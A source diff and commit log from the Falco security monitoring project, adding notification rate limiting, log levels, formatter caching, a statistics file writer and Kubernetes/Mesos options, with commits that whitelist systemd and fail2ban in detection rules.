+	uint64_t now = sinsp_utils::get_current_time_ns();
+	uint64_t tokens_gained = (now - m_last_seen) / (m_rate * 1000000000);
+	m_last_seen = now;
+
+	m_tokens += tokens_gained;
+
+	//
+	// Cap at max_tokens
+	//
+	if(m_tokens > m_max_tokens)
+	{
+		m_tokens = m_max_tokens;
+	}
+
+	//
+	// If tokens is < 1, can't claim.
+	//
+	if(m_tokens < 1)
+	{
+		return false;
+	}
+
+	m_tokens--;
+
+	return true;
+}
--- a/userspace/engine/token_bucket.h
+++ b/userspace/engine/token_bucket.h
@@ -0,0 +1,65 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include <cstdint>
+
+// A simple token bucket that accumulates tokens at a fixed rate and allows
+// for limited bursting in the form of "banked" tokens.
+class token_bucket
+{
+public:
+	token_bucket();
+	virtual ~token_bucket();
+
+	//
+	// Initialize the token bucket and start accumulating tokens
+	//
+	void init(uint32_t rate, uint32_t max_tokens);
+
+	//
+	// Returns true if a token can be claimed. Also updates
+	// internal metrics.
+	//
+	bool claim();
+private:
+
+	//
+	// The number of tokens generated per second.
+	//
+	uint64_t m_rate;
+
+	//
+	// The maximum number of tokens that can be banked for future
+	// claim()s.
+	//
+	uint64_t m_max_tokens;
+
+	//
+	// The current number of tokens
+	//
+	uint64_t m_tokens;
+
+	//
+	// The last time claim() was called (or the object was created).
+	// Nanoseconds since the epoch.
+	//
+	uint64_t m_last_seen;
+};
+
--- a/userspace/falco/CMakeLists.txt
+++ b/userspace/falco/CMakeLists.txt
@@ -9,7 +9,7 @@ include_directories("${CURL_INCLUDE_DIR}")
 include_directories("${YAMLCPP_INCLUDE_DIR}")
 include_directories("${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include")

-add_executable(falco configuration.cpp formats.cpp logger.cpp falco_outputs.cpp falco.cpp)
+add_executable(falco configuration.cpp logger.cpp falco_outputs.cpp statsfilewriter.cpp falco.cpp)

 target_link_libraries(falco falco_engine sinsp)
 target_link_libraries(falco
--- a/userspace/falco/configuration.cpp
+++ b/userspace/falco/configuration.cpp
@@ -101,6 +101,13 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
 		throw invalid_argument("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");
 	}

+	string log_level = m_config->get_scalar<string>("log_level", "info");
+
+	falco_logger::set_level(log_level);
+
+	m_notifications_rate = m_config->get_scalar<uint32_t>("outputs", "rate", 1);
+	m_notifications_max_burst = m_config->get_scalar<uint32_t>("outputs", "max_burst", 1000);
+
 	falco_logger::log_stderr = m_config->get_scalar<bool>("log_stderr", false);
 	falco_logger::log_syslog = m_config->get_scalar<bool>("log_syslog", true);
 }
--- a/userspace/falco/configuration.h
+++ b/userspace/falco/configuration.h
@@ -144,6 +144,8 @@ class falco_configuration
 	std::list<std::string> m_rules_filenames;
 	bool m_json_output;
 	std::vector<falco_outputs::output_config> m_outputs;
+	uint32_t m_notifications_rate;
+	uint32_t m_notifications_max_burst;
 private:
 	void init_cmdline_options(std::list<std::string> &cmdline_options);

--- a/userspace/falco/falco.cpp
+++ b/userspace/falco/falco.cpp
@@ -36,6 +36,7 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include "configuration.h"
 #include "falco_engine.h"
 #include "config_falco.h"
+#include "statsfilewriter.h"

 bool g_terminate = false;
 //
@@ -56,18 +57,50 @@ static void usage()
 	   "Options:\n"
 	   " -h, --help                    Print this page\n"
 	   " -c                            Configuration file (default " FALCO_SOURCE_CONF_FILE ", " FALCO_INSTALL_CONF_FILE ")\n"
-	   " -o, --option <key>=<val>      Set the value of option <key> to <val>. Overrides values in configuration file.\n"
-	   "                               <key> can be a two-part <key>.<subkey>\n"
+	   " -A                            Monitor all events, including those with EF_DROP_FALCO flag.\n"
 	   " -d, --daemon                  Run as a daemon\n"
-	   " -p, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
-           " -e <events_file>              Read the events from <events_file> (in .scap format) instead of tapping into live.\n"
-           " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
-	   "                               Can be specified multiple times to read from multiple files.\n"
 	   " -D <pattern>                  Disable any rules matching the regex <pattern>. Can be specified multiple times.\n"
+           " -e <events_file>              Read the events from <events_file> (in .scap format) instead of tapping into live.\n"
+	   " -k <url>, --k8s-api=<url>\n"
+	   "                               Enable Kubernetes support by connecting to the API server\n"
+      	   "                               specified as argument. E.g. \"http://admin:password@127.0.0.1:8080\".\n"
+	   "                               The API server can also be specified via the environment variable\n"
+	   "                               FALCO_K8S_API.\n"
+	   " -K <bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>], --k8s-api-cert=<bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>]\n"
+	   "                               Use the provided files names to authenticate user and (optionally) verify the K8S API\n"
+	   "                               server identity.\n"
+	   "                               Each entry must specify full (absolute, or relative to the current directory) path\n"
+	   "                               to the respective file.\n"
+	   "                               Private key password is optional (needed only if key is password protected).\n"
+	   "                               CA certificate is optional. For all files, only PEM file format is supported. \n"
+	   "                               Specifying CA certificate only is obsoleted - when single entry is provided \n"
+	   "                               for this option, it will be interpreted as the name of a file containing bearer token.\n"
+	   "                               Note that the format of this command-line option prohibits use of files whose names contain\n"
+	   "                               ':' or '#' characters in the file name.\n"
 	   " -L                            Show the name and description of all rules and exit.\n"
 	   " -l <rule>                     Show the name and description of the rule with name <rule> and exit.\n"
+	   " -m <url[,marathon_url]>, --mesos-api=<url[,marathon_url]>\n"
+	   "                               Enable Mesos support by connecting to the API server\n"
+	   "                               specified as argument. E.g. \"http://admin:password@127.0.0.1:5050\".\n"
+	   "                               Marathon url is optional and defaults to Mesos address, port 8080.\n"
+	   "                               The API servers can also be specified via the environment variable\n"
+	   "                               FALCO_MESOS_API.\n"
+	   " -o, --option <key>=<val>      Set the value of option <key> to <val>. Overrides values in configuration file.\n"
+	   "                               <key> can be a two-part <key>.<subkey>\n"
+	   " -p <output_format>, --print=<output_format>\n"
+	   "                               Add additional information to each falco notification's output.\n"
+	   "                               With -pc or -pcontainer will use a container-friendly format.\n"
+	   "                               With -pk or -pkubernetes will use a kubernetes-friendly format.\n"
+	   "                               With -pm or -pmesos will use a mesos-friendly format.\n"
+	   "                               Additionally, specifying -pc/-pk/-pm will change the interpretation\n"
+	   "                               of %%container.info in rule output fields\n"
+	   "                               See the examples section below for more info.\n"
+	   " -P, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
+           " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
+	   "                               Can be specified multiple times to read from multiple files.\n"
+	   " -s <stats_file>               If specified, write statistics related to falco's reading/processing of events\n"
+	   "                               to this file. (Only useful in live mode).\n"
 	   " -v                            Verbose output.\n"
-	   " -A                            Monitor all events, including those with EF_DROP_FALCO flag.\n"
 	   "\n"
    );
 }
@@ -92,12 +125,25 @@ std::list<string> cmdline_options;
 //
 // Event processing loop
 //
-void do_inspect(falco_engine *engine,
-		falco_outputs *outputs,
-		sinsp* inspector)
+uint64_t do_inspect(falco_engine *engine,
+		    falco_outputs *outputs,
+		    sinsp* inspector,
+		    string &stats_filename)
 {
+	uint64_t num_evts = 0;
 	int32_t res;
 	sinsp_evt* ev;
+	StatsFileWriter writer;
+
+	if (stats_filename != "")
+	{
+		string errstr;
+
+		if (!writer.init(inspector, stats_filename, 5, errstr))
+		{
+			throw falco_exception(errstr);
+		}
+	}

 	//
 	// Loop through the events
@@ -107,6 +153,8 @@ void do_inspect(falco_engine *engine,

 		res = inspector->next(&ev);

+		writer.handle();
+
 		if (g_terminate)
 		{
 			break;
@@ -140,13 +188,16 @@ void do_inspect(falco_engine *engine,
 		// engine, which will match the event against the set
 		// of rules. If a match is found, pass the event to
 		// the outputs.
-		falco_engine::rule_result *res = engine->process_event(ev);
+		unique_ptr<falco_engine::rule_result> res = engine->process_event(ev);
 		if(res)
 		{
 			outputs->handle_event(res->evt, res->rule, res->priority, res->format);
-			delete(res);
 		}
+
+		num_evts++;
 	}
+
+	return num_evts;
 }

 //
@@ -162,33 +213,50 @@ int falco_init(int argc, char **argv)
 	int long_index = 0;
 	string scap_filename;
 	string conf_filename;
+	string outfile;
 	list<string> rules_filenames;
 	bool daemon = false;
 	string pidfilename = "/var/run/falco.pid";
 	bool describe_all_rules = false;
 	string describe_rule = "";
+	string stats_filename = "";
 	bool verbose = false;
 	bool all_events = false;
+	string* k8s_api = 0;
+	string* k8s_api_cert = 0;
+	string* mesos_api = 0;
+	string output_format = "";
+	bool replace_container_info = false;
+
+	// Used for writing trace files
+	int duration_seconds = 0;
+	int rollover_mb = 0;
+	int file_limit = 0;
+	unsigned long event_limit = 0L;
+	bool compress = false;
+
+	// Used for stats
+	uint64_t num_evts;
+	double duration;
+	scap_stats cstats;

 	static struct option long_options[] =
 	{
 		{"help", no_argument, 0, 'h' },
 		{"daemon", no_argument, 0, 'd' },
+		{"k8s-api", required_argument, 0, 'k'},
+		{"k8s-api-cert", required_argument, 0, 'K' },
+		{"mesos-api", required_argument, 0, 'm'},
 		{"option", required_argument, 0, 'o'},
-		{"pidfile", required_argument, 0, 'p' },
+		{"print", required_argument, 0, 'p' },
+		{"pidfile", required_argument, 0, 'P' },
+		{"writefile", required_argument, 0, 'w' },

 		{0, 0, 0, 0}
 	};

 	try
 	{
-		inspector = new sinsp();
-		engine = new falco_engine();
-		engine->set_inspector(inspector);
-
-		outputs = new falco_outputs();
-		outputs->set_inspector(inspector);
-
 		set<string> disabled_rule_patterns;
 		string pattern;

@@ -196,7 +264,7 @@ int falco_init(int argc, char **argv)
 		// Parse the args
 		//
 		while((op = getopt_long(argc, argv,
-                                        "c:ho:e:r:D:dp:Ll:vA",
+                                        "hc:AdD:e:k:K:Ll:m:o:P:p:r:s:vw:",
                                        long_options, &long_index)) != -1)
 		{
 			switch(op)
@@ -207,36 +275,75 @@ int falco_init(int argc, char **argv)
 			case 'c':
 				conf_filename = optarg;
 				break;
-			case 'o':
-				cmdline_options.push_back(optarg);
+			case 'A':
+				all_events = true;
 				break;
-			case 'e':
-				scap_filename = optarg;
-				break;
-			case 'r':
-				rules_filenames.push_back(optarg);
+			case 'd':
+				daemon = true;
 				break;
 			case 'D':
 				pattern = optarg;
 				disabled_rule_patterns.insert(pattern);
 				break;
-			case 'd':
-				daemon = true;
+			case 'e':
+				scap_filename = optarg;
+				k8s_api = new string();
+				mesos_api = new string();
 				break;
-			case 'p':
-				pidfilename = optarg;
+			case 'k':
+				k8s_api = new string(optarg);
+				break;
+			case 'K':
+				k8s_api_cert = new string(optarg);
 				break;
 			case 'L':
 				describe_all_rules = true;
 				break;
+			case 'l':
+				describe_rule = optarg;
+				break;
+			case 'm':
+				mesos_api = new string(optarg);
+				break;
+			case 'o':
+				cmdline_options.push_back(optarg);
+				break;
+			case 'P':
+				pidfilename = optarg;
+				break;
+			case 'p':
+				if(string(optarg) == "c" || string(optarg) == "container")
+				{
+					output_format = "container=%container.name (id=%container.id)";
+					replace_container_info = true;
+				}
+				else if(string(optarg) == "k" || string(optarg) == "kubernetes")
+				{
+					output_format = "k8s.pod=%k8s.pod.name container=%container.id";
+					replace_container_info = true;
+				}
+				else if(string(optarg) == "m" || string(optarg) == "mesos")
+				{
+					output_format = "task=%mesos.task.name container=%container.id";
+					replace_container_info = true;
+				}
+				else
+				{
+					output_format = optarg;
+					replace_container_info = false;
+				}
+				break;
+			case 'r':
+				rules_filenames.push_back(optarg);
+				break;
+			case 's':
+				stats_filename = optarg;
+				break;
 			case 'v':
 				verbose = true;
 				break;
-			case 'A':
-				all_events = true;
-				break;
-			case 'l':
-				describe_rule = optarg;
+			case 'w':
+				outfile = optarg;
 				break;
 			case '?':
 				result = EXIT_FAILURE;
@@ -247,6 +354,14 @@ int falco_init(int argc, char **argv)

 		}

+		inspector = new sinsp();
+		engine = new falco_engine();
+		engine->set_inspector(inspector);
+		engine->set_extra(output_format, replace_container_info);
+
+		outputs = new falco_outputs();
+		outputs->set_inspector(inspector);
+
 		// Some combinations of arguments are not allowed.
 		if (daemon && pidfilename == "") {
 			throw std::invalid_argument("If -d is provided, a pid file must also be provided");
@@ -264,14 +379,14 @@ int falco_init(int argc, char **argv)
 		else
 		{
 			conf_stream.open(FALCO_SOURCE_CONF_FILE);
-			if (!conf_stream.is_open())
+			if (conf_stream.is_open())
 			{
 				conf_filename = FALCO_SOURCE_CONF_FILE;
 			}
 			else
 			{
 				conf_stream.open(FALCO_INSTALL_CONF_FILE);
-				if (!conf_stream.is_open())
+				if (conf_stream.is_open())
 				{
 					conf_filename = FALCO_INSTALL_CONF_FILE;
 				}
@@ -312,7 +427,7 @@ int falco_init(int argc, char **argv)
 			engine->enable_rule(pattern, false);
 		}

-		outputs->init(config.m_json_output);
+		outputs->init(config.m_json_output, config.m_notifications_rate, config.m_notifications_max_burst);

 		if(!all_events)
 		{
@@ -427,9 +542,91 @@ int falco_init(int argc, char **argv)
 			open("/dev/null", O_RDWR);
 		}

-		do_inspect(engine,
-			   outputs,
-			   inspector);
+		if(outfile != "")
+		{
+			inspector->setup_cycle_writer(outfile, rollover_mb, duration_seconds, file_limit, event_limit, compress);
+			inspector->autodump_next_file();
+		}
+
+		duration = ((double)clock()) / CLOCKS_PER_SEC;
+
+		//
+		// run k8s, if required
+		//
+		if(k8s_api)
+		{
+			if(!k8s_api_cert)
+			{
+				if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
+				{
+					k8s_api_cert = new string(k8s_cert_env);
+				}
+			}
+			inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
+			k8s_api = 0;
+			k8s_api_cert = 0;
+		}
+		else if(char* k8s_api_env = getenv("FALCO_K8S_API"))
+		{
+			if(k8s_api_env != NULL)
+			{
+				if(!k8s_api_cert)
+				{
+					if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
+					{
+						k8s_api_cert = new string(k8s_cert_env);
+					}
+				}
+				k8s_api = new string(k8s_api_env);
+				inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
+			}
+			else
+			{
+				delete k8s_api;
+				delete k8s_api_cert;
+			}
+			k8s_api = 0;
+			k8s_api_cert = 0;
+		}
+
+		//
+		// run mesos, if required
+		//
+		if(mesos_api)
+		{
+			inspector->init_mesos_client(mesos_api, verbose);
+		}
+		else if(char* mesos_api_env = getenv("FALCO_MESOS_API"))
+		{
+			if(mesos_api_env != NULL)
+			{
+				mesos_api = new string(mesos_api_env);
+				inspector->init_mesos_client(mesos_api, verbose);
+			}
+		}
+		delete mesos_api;
+		mesos_api = 0;
+
+		num_evts = do_inspect(engine,
+				      outputs,
+				      inspector,
+				      stats_filename);
+
+		duration = ((double)clock()) / CLOCKS_PER_SEC - duration;
+
+		inspector->get_capture_stats(&cstats);
+
+		if(verbose)
+		{
+			fprintf(stderr, "Driver Events:%" PRIu64 "\nDriver Drops:%" PRIu64 "\n",
+				cstats.n_evts,
+				cstats.n_drops);
+
+			fprintf(stderr, "Elapsed time: %.3lf, Captured Events: %" PRIu64 ", %.2lf eps\n",
+				duration,
+				num_evts,
+				num_evts / duration);
+		}

 		inspector->close();

--- a/userspace/falco/falco_outputs.cpp
+++ b/userspace/falco/falco_outputs.cpp
@@ -27,16 +27,31 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 using namespace std;

 falco_outputs::falco_outputs()
+	: m_initialized(false)
 {

 }

 falco_outputs::~falco_outputs()
 {
+	if(m_initialized)
+	{
+		lua_getglobal(m_ls, m_lua_output_cleanup.c_str());

+		if(!lua_isfunction(m_ls, -1))
+		{
+			throw falco_exception("No function " + m_lua_output_cleanup + " found. ");
+		}
+
+		if(lua_pcall(m_ls, 0, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			throw falco_exception(string(lerr));
+		}
+	}
 }

-void falco_outputs::init(bool json_output)
+void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst)
 {
 	// The engine must have been given an inspector by now.
 	if(! m_inspector)
@@ -46,9 +61,16 @@ void falco_outputs::init(bool json_output)

 	falco_common::init(m_lua_main_filename.c_str(), FALCO_SOURCE_LUA_DIR);

+	// Note that falco_formats is added to both the lua state used
+	// by the falco engine as well as the separate lua state used
+	// by falco outputs.
 	falco_formats::init(m_inspector, m_ls, json_output);

 	falco_logger::init(m_ls);
+
+	m_notifications_tb.init(rate, max_burst);
+
+	m_initialized = true;
 }

 void falco_outputs::add_output(output_config oc)
@@ -83,14 +105,20 @@ void falco_outputs::add_output(output_config oc)

 }

-void falco_outputs::handle_event(sinsp_evt *ev, string &level, string &priority, string &format)
+void falco_outputs::handle_event(sinsp_evt *ev, string &rule, string &priority, string &format)
 {
+	if(!m_notifications_tb.claim())
+	{
+		falco_logger::log(LOG_DEBUG, "Skipping rate-limited notification for rule " + rule + "\n");
+		return;
+	}
+
 	lua_getglobal(m_ls, m_lua_output_event.c_str());

 	if(lua_isfunction(m_ls, -1))
 	{
 		lua_pushlightuserdata(m_ls, ev);
-		lua_pushstring(m_ls, level.c_str());
+		lua_pushstring(m_ls, rule.c_str());
 		lua_pushstring(m_ls, priority.c_str());
 		lua_pushstring(m_ls, format.c_str());

--- a/userspace/falco/falco_outputs.h
+++ b/userspace/falco/falco_outputs.h
@@ -19,6 +19,7 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #pragma once

 #include "falco_common.h"
+#include "token_bucket.h"

 //
 // This class acts as the primary interface between a program and the
@@ -40,7 +41,7 @@ public:
 		std::map<std::string, std::string> options;
 	};

-	void init(bool json_output);
+	void init(bool json_output, uint32_t rate, uint32_t max_burst);

 	void add_output(output_config oc);

@@ -48,10 +49,16 @@ public:
 	// ev is an event that has matched some rule. Pass the event
 	// to all configured outputs.
 	//
-	void handle_event(sinsp_evt *ev, std::string &level, std::string &priority, std::string &format);
+	void handle_event(sinsp_evt *ev, std::string &rule, std::string &priority, std::string &format);

 private:
+	bool m_initialized;
+
+	// Rate limits notifications
+	token_bucket m_notifications_tb;
+
 	std::string m_lua_add_output = "add_output";
 	std::string m_lua_output_event = "output_event";
+	std::string m_lua_output_cleanup = "output_cleanup";
 	std::string m_lua_main_filename = "output.lua";
 };
--- a/userspace/falco/logger.cpp
+++ b/userspace/falco/logger.cpp
@@ -20,18 +20,62 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include "logger.h"
 #include "chisel_api.h"

+#include "falco_common.h"
+
 const static struct luaL_reg ll_falco [] =
 {
 	{"syslog", &falco_logger::syslog},
 	{NULL,NULL}
 };

+int falco_logger::level = LOG_INFO;

 void falco_logger::init(lua_State *ls)
 {
 	luaL_openlib(ls, "falco", ll_falco, 0);
 }

+void falco_logger::set_level(string &level)
+{
+	if(level == "emergency")
+	{
+		falco_logger::level = LOG_EMERG;
+	}
+	else if(level == "alert")
+	{
+		falco_logger::level = LOG_ALERT;
+	}
+	else if(level == "critical")
+	{
+		falco_logger::level = LOG_CRIT;
+	}
+	else if(level == "error")
+	{
+		falco_logger::level = LOG_ERR;
+	}
+	else if(level == "warning")
+	{
+		falco_logger::level = LOG_WARNING;
+	}
+	else if(level == "notice")
+	{
+		falco_logger::level = LOG_NOTICE;
+	}
+	else if(level == "info")
+	{
+		falco_logger::level = LOG_INFO;
+	}
+	else if(level == "debug")
+	{
+		falco_logger::level = LOG_DEBUG;
+	}
+	else
+	{
+		throw falco_exception("Unknown log level " + level);
+	}
+}
+
+
 int falco_logger::syslog(lua_State *ls) {
 	int priority = luaL_checknumber(ls, 1);

@@ -49,6 +93,12 @@ bool falco_logger::log_stderr = true;
 bool falco_logger::log_syslog = true;

 void falco_logger::log(int priority, const string msg) {
+
+	if(priority > falco_logger::level)
+	{
+		return;
+	}
+
 	if (falco_logger::log_syslog) {
 		::syslog(priority, "%s", msg.c_str());
 	}
--- a/userspace/falco/logger.h
+++ b/userspace/falco/logger.h
@@ -32,11 +32,15 @@ class falco_logger
 public:
 	static void init(lua_State *ls);

+	// Will throw exception if level is unknown.
+	static void set_level(string &level);
+
 	// value = falco.syslog(level, message)
 	static int syslog(lua_State *ls);

 	static void log(int priority, const string msg);

+	static int level;
 	static bool log_stderr;
 	static bool log_syslog;
 };
--- a/userspace/falco/lua/output.lua
+++ b/userspace/falco/lua/output.lua
@@ -24,6 +24,8 @@ mod.levels = levels

 local outputs = {}

+local formatters = {}
+
 function mod.stdout(level, msg)
   print (msg)
 end
@@ -75,14 +77,26 @@ end
 function output_event(event, rule, priority, format)
   local level = level_of(priority)
   format = "*%evt.time: "..levels[level+1].." "..format
-   formatter = falco.formatter(format)
-   msg = falco.format_event(event, rule, levels[level+1], formatter)
+   if formatters[rule] == nil then
+      formatter = formats.formatter(format)
+      formatters[rule] = formatter
+   else
+      formatter = formatters[rule]
+   end
+
+   msg = formats.format_event(event, rule, levels[level+1], formatter)

   for index,o in ipairs(outputs) do
      o.output(level, msg, o.config)
   end
+end

-   falco.free_formatter(formatter)
+function output_cleanup()
+   for rule, formatter in pairs(formatters) do
+      formats.free_formatter(formatter)
+   end
+
+   formatters = {}
 end

 function add_output(output_name, config)
--- a/userspace/falco/statsfilewriter.cpp
+++ b/userspace/falco/statsfilewriter.cpp
@@ -0,0 +1,120 @@
+#include <sys/time.h>
+#include <signal.h>
+
+#include "statsfilewriter.h"
+
+using namespace std;
+
+static bool g_save_stats = false;
+static void timer_handler (int signum)
+{
+	g_save_stats = true;
+}
+
+extern char **environ;
+
+StatsFileWriter::StatsFileWriter()
+	: m_num_stats(0), m_inspector(NULL)
+{
+}
+
+StatsFileWriter::~StatsFileWriter()
+{
+	m_output.close();
+}
+
+bool StatsFileWriter::init(sinsp *inspector, string &filename, uint32_t interval_sec, string &errstr)
+{
+	struct itimerval timer;
+	struct sigaction handler;
+
+	m_inspector = inspector;
+
+	m_output.exceptions ( ofstream::failbit | ofstream::badbit );
+	m_output.open(filename, ios_base::app);
+
+	memset (&handler, 0, sizeof (handler));
+	handler.sa_handler = &timer_handler;
+	if (sigaction(SIGALRM, &handler, NULL) == -1)
+	{
+		errstr = string("Could not set up signal handler for periodic timer: ") + strerror(errno);
+		return false;
+	}
+
+	timer.it_value.tv_sec = interval_sec;
+	timer.it_value.tv_usec = 0;
+	timer.it_interval = timer.it_value;
+	if (setitimer(ITIMER_REAL, &timer, NULL) == -1)
+	{
+		errstr = string("Could not set up periodic timer: ") + strerror(errno);
+		return false;
+	}
+
+	// (Undocumented) feature. Take any environment keys prefixed
+	// with FALCO_STATS_EXTRA_XXX and add them to the output. Used by
+	// run_performance_tests.sh.
+	for(uint32_t i=0; environ[i]; i++)
+	{
+		char *p = strstr(environ[i], "=");
+		if(!p)
+		{
+			errstr = string("Could not find environment separator in ") + string(environ[i]);
+			return false;
+		}
+		string key(environ[i], p-environ[i]);
+		string val(p+1, strlen(environ[i])-(p-environ[i])-1);
+		if(key.compare(0, 18, "FALCO_STATS_EXTRA_") == 0)
+		{
+			string sub = key.substr(18);
+			if (m_extra != "")
+			{
+				m_extra += ", ";
+			}
+			m_extra += "\"" + sub + "\": " + "\"" + val + "\"";
+		}
+	}
+
+	return true;
+}
+
+void StatsFileWriter::handle()
+{
+	if (g_save_stats)
+	{
+		scap_stats cstats;
+		scap_stats delta;
+
+		g_save_stats = false;
+		m_num_stats++;
+		m_inspector->get_capture_stats(&cstats);
+
+		if(m_num_stats == 1)
+		{
+			delta = cstats;
+		}
+		else
+		{
+			delta.n_evts = cstats.n_evts - m_last_stats.n_evts;
+			delta.n_drops = cstats.n_drops - m_last_stats.n_drops;
+			delta.n_preemptions = cstats.n_preemptions - m_last_stats.n_preemptions;
+		}
+
+		m_output << "{\"sample\": " << m_num_stats;
+		if(m_extra != "")
+		{
+			m_output << ", " << m_extra;
+		}
+		m_output << ", \"cur\": {" <<
+			"\"events\": " << cstats.n_evts <<
+			", \"drops\": " << cstats.n_drops <<
+			", \"preemptions\": " << cstats.n_preemptions <<
+			"}, \"delta\": {" <<
+			"\"events\": " << delta.n_evts <<
+			", \"drops\": " << delta.n_drops <<
+			", \"preemptions\": " << delta.n_preemptions <<
+			"}, \"drop_pct\": " << (delta.n_evts == 0 ? 0 : (100.0*delta.n_drops/delta.n_evts)) <<
+			"}," << endl;
+
+		m_last_stats = cstats;
+	}
+}
--- a/userspace/falco/statsfilewriter.h
+++ b/userspace/falco/statsfilewriter.h
@@ -0,0 +1,32 @@
+#pragma once
+
+#include <fstream>
+#include <string>
+#include <map>
+
+#include <sinsp.h>
+
+// Periodically collects scap stats files and writes them to a file as
+// json.
+
+class StatsFileWriter {
+public:
+	StatsFileWriter();
+	virtual ~StatsFileWriter();
+
+	// Returns success as bool. On false fills in errstr.
+	bool init(sinsp *inspector, std::string &filename,
+		  uint32_t interval_sec,
+		  string &errstr);
+
+	// Should be called often (like for each event in a sinsp
+	// loop).
+	void handle();
+
+protected:
+	uint32_t m_num_stats;
+	sinsp *m_inspector;
+	std::ofstream m_output;
+	std::string m_extra;
+	scap_stats m_last_stats;
+};
Author	SHA1	Message	Date
Mark Stemm	1d0c9b1714	Merge pull request #169 from jcoetzee/systemd Add systemd as a login binary	2016-12-16 11:43:07 -08:00
Mark Stemm	8aa9c21d11	Merge pull request #168 from jcoetzee/fail2ban Add fail2ban-server as trusted binary	2016-12-16 09:38:57 -08:00
Jonathan Coetzee	64ecd157fd	Add systemd as a login binary SSH'ing into an Ubuntu 16.04 box triggers a bunch of "Sensitive file opened for reading by non-trusted program" errors caused by systemd falco-CLA-1.0-signed-off-by: Jonathan Coetzee jon@thancoetzee.com	2016-12-16 11:27:43 +02:00
Jonathan Coetzee	2bad529d33	Add fail2ban-server as trusted binary fail2ban spawns shells to modify iptables falco-CLA-1.0-signed-off-by: Jonathan Coetzee <jon@thancoetzee.com>	2016-12-16 11:18:47 +02:00
Mark Stemm	09a9ab4f85	Merge pull request #164 from draios/revert-163-dev Revert "Add fail2ban-server as spawn shell trusted binary"	2016-12-14 18:29:27 -08:00
Mark Stemm	39e9043ac7	Revert "Add fail2ban-server as spawn shell trusted binary"	2016-12-14 18:28:37 -08:00
Mark Stemm	f4abec4639	Merge pull request #163 from jcoetzee/dev Add fail2ban-server as spawn shell trusted binary	2016-12-14 18:28:16 -08:00
Jonathan Coetzee	bed5ab4f0c	Add fail2ban-server as spawn shell trusted binary fail2ban spawns a shell to adjust iptables in order to ban/unban IP addresses.	2016-12-15 00:12:31 +02:00
Mark Stemm	4f645c49e1	Use sinsp utils version of get time. sinsp_utils::get_current_time_ns() has the same purpose as get_epoch_ns(), and now that we're including the token bucket in falco_engine, it's easy to package the dependency. So use that function instead.	2016-12-08 13:35:17 -08:00
Mark Stemm	54b30bc248	Add rate-limiting for notifications Add token-bucket based rate limiting for falco notifications. The token bucket is implemented in token_bucket.cpp (actually in the engine directory, just to make it easier to include in other programs). It maintains a current count of tokens (i.e. right to send a notification). Its main method is claim(), which attemps to claim a token and returns true if one was claimed successfully. It has a configurable configurable max burst size and rate. The token bucket gains "rate" tokens per second, up to a maximum of max_burst tokens. These parameters are configurable in falco.yaml via the config options (defaults shown): outputs: rate: 1 max_burst: 1000 In falco_outputs::handle_event(), try to claim a token, and if unsuccessful log a debug message and return immediately.	2016-12-08 09:46:16 -08:00
Mark Stemm	b509c4f0c8	Fix misleading variable name. The second argument to handle_event is actually a rule name, but the variable was a misleading "level". Fix.	2016-12-08 09:46:16 -08:00
Mark Stemm	af8d6c9d10	Make google_containers/kube-proxy a trusted image. Add google_containers/kube-proxy as a trusted image (can be run privileged, can mount sensitive filesystems). While our k8s deployments run kube-proxy via the hyperkube image, evidently it's sometimes run via its own image. This is one of the fixes for #156. Also update the output message for this rule.	2016-12-08 09:41:47 -08:00
Mark Stemm	ef08478bb7	Add log levels. Previously, log messages had levels, but it only influenced the level argument passed to syslog(). Now, add the ability to control log level from falco itself. New falco.yaml argument "log_level" can be one of the strings corresponding to the well-known syslog levels, which is converted to a syslog-style level as integer. In falco_logger::log(), skip messages below the specified level.	2016-12-07 16:47:44 -08:00
Mark Stemm	a616301bd9	Cache formatters. Instead of creating a formatter for each event, cache them and create them only when needed. A new function output_cleanup cleans up the cached formatters, and is called in the destructor if init() was called.	2016-12-07 10:33:35 -08:00
Mark Stemm	8e2a3ef5c3	Modify plotting script to handle drop stats. New argument --metric, which can be cpu\|drops, controls whether to graph cpu usage or event drop percentage. Titles/axis labels/etc. change appropriately.	2016-12-06 11:01:38 -08:00
Mark Stemm	47bd6af69a	Add ability to write "extra" stuff to stats file. When run via scripts like run_performance_tests.sh, it's useful to include extra info like the test being run and the specific program variant to the stats file. So support that via the environment. Environment keys starting with FALCO_STATS_EXTRA_XXX will have the XXX and environment value added to the stats file. It's undocumented as I doubt other programs will need this functionality and it keeps the docs simpler.	2016-12-05 16:56:13 -08:00
Mark Stemm	d1d0dbdbde	Add ability to write capture stats to a file. With -s, periodically fetch capture stats from the inspector and write them to the provided file. Separate class StatsFileWriter handles the details. It does rely on a timer + SIGALRM handler so you can only practically create a single object, but it does keep the code/state separate. The output format has a sample number, the set of current stats, a delta with the difference from the prior sample, and the percentage of events dropped during that sample.	2016-12-05 16:56:13 -08:00
